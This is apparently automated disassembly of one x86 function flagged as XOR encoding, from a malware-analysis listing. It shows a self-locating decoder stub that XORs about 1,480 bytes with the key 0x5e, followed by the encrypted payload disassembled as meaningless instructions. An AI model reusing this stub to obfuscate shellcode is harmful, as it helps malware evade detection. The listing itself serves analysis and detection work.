Function at 0xe5a73c
Capabilities:
Encode data using xor

Disassembly:
jmp 0xe5a746
pushal
call 0xe5a74c
pop ebp
sub ebp, 0x10
sub ebp, 0xa5a73c
jmp 0xe5a762
mov eax, 0xa5a73c
add eax, ebp
add eax, 0x4c
mov ecx, 0x5c8
mov edx, 0xd5751f5e
xor byte [eax], dl
inc eax
dec ecx
jne 0xe5a779
jmp 0xe5a78c
aad 0x93
aad 0xd7
bound ebx, qword [esi + 0x5e]
pop esi
fistp word [edi + 0x5e5e5ea6]
pop ebp
xchg ebx, eax
out 0x58, al
pop esi
pop esi
pop esi
in al, 0x76
pop esi
pop esi
pop esi
test eax, 0xd5965dbc
fist word [edx + 0x5e]
pop esi
pop esi
pop ebp
wait
push cs
push cs
sahf
sbb eax, 0x25365e7e
cmp eax, 0x725f5edb
jp 0xe5a7f8
stosd dword es:[edi], eax
pop eax
add al, 0x64
mov dh, 0x5b
pop esi
pop esi
pop esi
mov bh, 0x70
pop esi
pop esi
pop esi
or ecx, dword [edx]
add edx, ebp
fist dword [esi + 0x5e]
pop esi
pop esi
aad 0xcb
push edx
pop esi
pop esi
pop esi
aad 0xd3
dec esi
pop esi
pop esi
pop esi
lahf
mov bh, 0x5c
outsd dx, dword [esi]
pop esp
fstp qword [edx + ebx*2 - 0x5524aee9]
mov eax, dword [0x72d5a1a1]
jp 0xe5a7cb
cmp bh, byte [edx + 0x5a]
pushfd
push edx
pop esi
aad 0xd2
jp 0xe5a85c
pop esi
pop esi
pop esi
sahf
sbb eax, 0x25365e7e
cmp eax, 0x725f5edb
jp 0xe5a822
mov dh, 0x5b
pop esi
pop esi
pop esi
mov bh, 7
pop esp
pop esi
pop esi
sar dword [edx], cl
jp 0xe5a7c3
xlatb
jb 0xe5a89e
sal dword [edx], cl
jp 0xe5a886
mov eax, dword [0x2ba1522b]
push esi
mov dh, 0xda
pop esi
pop esi
pop esi
aad 0xe3
push esi
pop esi
pop esi
pop esi
fild qword [edi - 0x6b7477a3]
fild qword [edi - 0x6b7477a3]
insd dword es:[edi], dx
xchg edi, eax
fild qword [edi + esi - 0x205e4eac]
lodsb al, byte [esi]
aaa
push esp
mov cl, 0xa1
insd dword es:[edi], dx
mov ebp, ds
mov dh, 0x5b
push ss
push ecx
ficom dword [eax]
pop esi
pop esi
pop esi
push ecx
salc
push ss
pop esi
pop esi
pop esi
cmp ch, dl
inc edx
fisub word [di + 0x51b6]
fiadd dword [esi + ebx*2 + 0x5e]
pop esi
fisub word [ebp + 0x4fda51b7]
pop esi
pop esi
pop esi
cmp bh, bl
movsd dword es:[edi], dword [esi]
mov eax, dword [0x4bda517b]
pop esi
pop esi
pop esi
pop ds
mov bh, 0x92
mov eax, dword [0x1277a1a1]
pop edi
fstp qword [edi + 0x5ab6dd5b]
mov bh, 0xe3
mov eax, dword [0xa77a1a1]
pop esp
pop esp
fstp qword [edi + 0x5ab4dd58]
fnsave dword [esi - 0x5e0a48a5]
mov eax, dword [0x7a72d5a1]
sar dword [edx], cl
jp 0xe5a90e
pushfd
push edx
pop esi
or edx, ebp
mov dl, 8
or dword [ebx], ecx
aad 0x2b
push edx
aad 0x23
push esi
mov byte [0x58d4deec], al
fistp word [eax + 0x5e5e5e5f]
salc
pop ecx
fistp word [ecx + 0x5e5e5e5f]
in eax, 0x5c
pop esi
pop esi
pop esi
pop esp
mov word [ecx - 0x25], ss
pop ebx
pop esi
pop esi
pop esi
aam 0x48
sbb byte [esp + ecx*4 + 0x51], cl
fld qword [esi + 0x5ca1a1a1]
mov word [ecx - 0x25], ss
pop ebx
pop esi
pop esi
pop esi
aam 0x48
sbb byte [esp + ecx*4 + 0x51], cl
fnsave dword [esi + ebx*2]
pop esi
pop esi
insd dword es:[edi], dx
sahf
pop esp
mov word [ecx - 0x25], ss
pop ebx
pop esi
pop esi
pop esi
aam 0x48
sbb byte [esp + ecx*4 + 0x51], cl
fnsave dword [edi + ebx*2 + 0x5e]
dec esp
mov word [ecx - 0x23], ss
je 0xe5a973
pop esi
pop esi
pop esp
mov word [ecx - 0x25], ss
pop ebx
pop esi
pop esi
pop esi
aam 0x48
sbb byte [esp + ecx*4 + 0x4d], cl
sahf
pop esp
mov word [ecx - 0x25], ss
pop ebx
pop esi
pop esi
pop esi
aam 0x48
sbb byte [esp + ecx*4 + 0x4d], cl
sahf
pop esp
mov word [ecx - 0x25], ss
pop ebx
pop esi
pop esi
pop esi
aam 0x48
sbb byte [esp + ecx*4 + 0x4d], cl
sahf
pop esp
mov word [ecx - 0x25], ss
pop ebx
pop esi
pop esi
pop esi
aam 0x48
sbb byte [esp + ecx*4 + 0x4d], cl
sahf
push ecx
ficomp dword [eax + 0x5e]
pop esi
pop esi
aad 0x81
jne 0xe5a8e2
aam 0x5d
salc
pop ecx
sbb ebp, esp
pop esp
pop esi
pop esi
pop esi
mov bh, 0x2e
mov eax, dword [0x5fe6a1a1]
pop esi
pop esi
pop esi
pop esp
mov word [ecx - 0x25], ss
pop ebx
pop esi
fistp dword [ebx + 0x5e]
pop esi
pop esi
aam 0x48
sbb byte [esp + ecx*4 + 0x4d], cl
sahf
pop esp
mov word [ecx - 0x25], ss
pop ebx
pop esi
pop esi
pop esi
aam 0x48
sbb byte [esp + ecx*4 + 0x51], cl
fadd qword [eax + 0x75a1a1a1]
popfd
in eax, 0x5f
pop esi
pop esi
pop esi
push ecx
fld xword [edx + 0x5e]
pop esi
pop esi
out 0x5f, eax
pop esi
pop esi
pop esi
pop esp
mov word [ecx - 0x25], ss
pop ebx
pop esi
pop esi
pop esi
aam 0x48
sbb byte [esp + ecx*4 + 0x4d], cl
xchg edi, eax
pop esp
mov word [ecx - 0x25], ss
pop ebx
pop esi
pop esi
pop esi
aam 0x48
sbb byte [esp + ecx*4 + 0x51], cl
fadd qword [eax + 0x8a1a1a1]
aad 0xa9
jne 0xe5a976
lodsd eax, dword [esi]
cli
add byte [edi - 0x5e5e5eaa], dh
push ss
lahf
mov esi, 0x1858d456
aad 0xb6
out 0x5f, eax
pop esi
pop esi
pop esi
pop esp
mov word [ecx - 0x25], ss
pop ebx
pop esi
pop esi
pop esi
aam 0x48
sbb byte [esp + ecx*4 + 0x4d], cl
xchg edi, eax
pop esp
mov word [ecx - 0x25], ss
pop ebx
pop esi
pop esi
pop esi
aam 0x48
sbb byte [esp + ecx*4 + 0x51], cl
fadd qword [eax - 0x205e5e5f]
cmpsb byte [esi], byte es:[edi]
pop esi
and ebx, dword [esi + 0x5e]
fild word [edi - 0x5e5e5e5f]
fbld tbyte [esi + 0x5e5e5b5e]
fild word [edi - 0x5e5e5e5f]
fbld tbyte [esi + 0x5e5e5ede]
fisttp word [edi + 0x5e5e5e5e]
fbld tbyte [esi + 0x5e5e5ede]
fisttp word [edi + 0x5e5e5e5e]
or ch, dl
test eax, 0xfaadae75
add byte [edi - 0x5e5e5f3b], dh
aam 0x58
sbb byte [ebp - 0x69], ch
sahf
mov dh, 0x5f
push ecx
fiadd dword [esi + ebx*2 + 0x5e]
pop esi
fisttp word [edi + 0x5e5e5e5c]
aad 0xb6
or ch, dl
test eax, 0xfaadae75
add ch, ah
pop edi
pop esi
pop esi
pop esi
mov bh, 0x2d
mov al, byte [0x7503a1a1]
and edx, dword [esi - 0x2b]
cdq
add dword [eax], eax
aad 0xbb
add ebx, dword [esi + edx*2 + 0x6ad5015e]
jp 0xe5aa4e
cmp bh, byte [edx + 0x5a]
mov bh, 0x5a
pop esi
pop esi
pop esi
pop ss
outsd dx, dword [esi]
stc
mov al, byte [0xfbf962e6]
pop esi
pop ebp
wait
fistp word [esi + 0x5e5e5d2f]
out 0xfd, eax
pop esp
pop esi
pop esi
in al, 0x61
mov edx, 0x4e6e9e1f
push ds
pop ss
push ecx
fld xword [eax - 0x485e5e5f]
pop edx
pop esi
pop esi
pop esi
adc edi, dword [edi - 0x61]
imul esp, esi, 0x5d1fea9f
ljmp 0x6161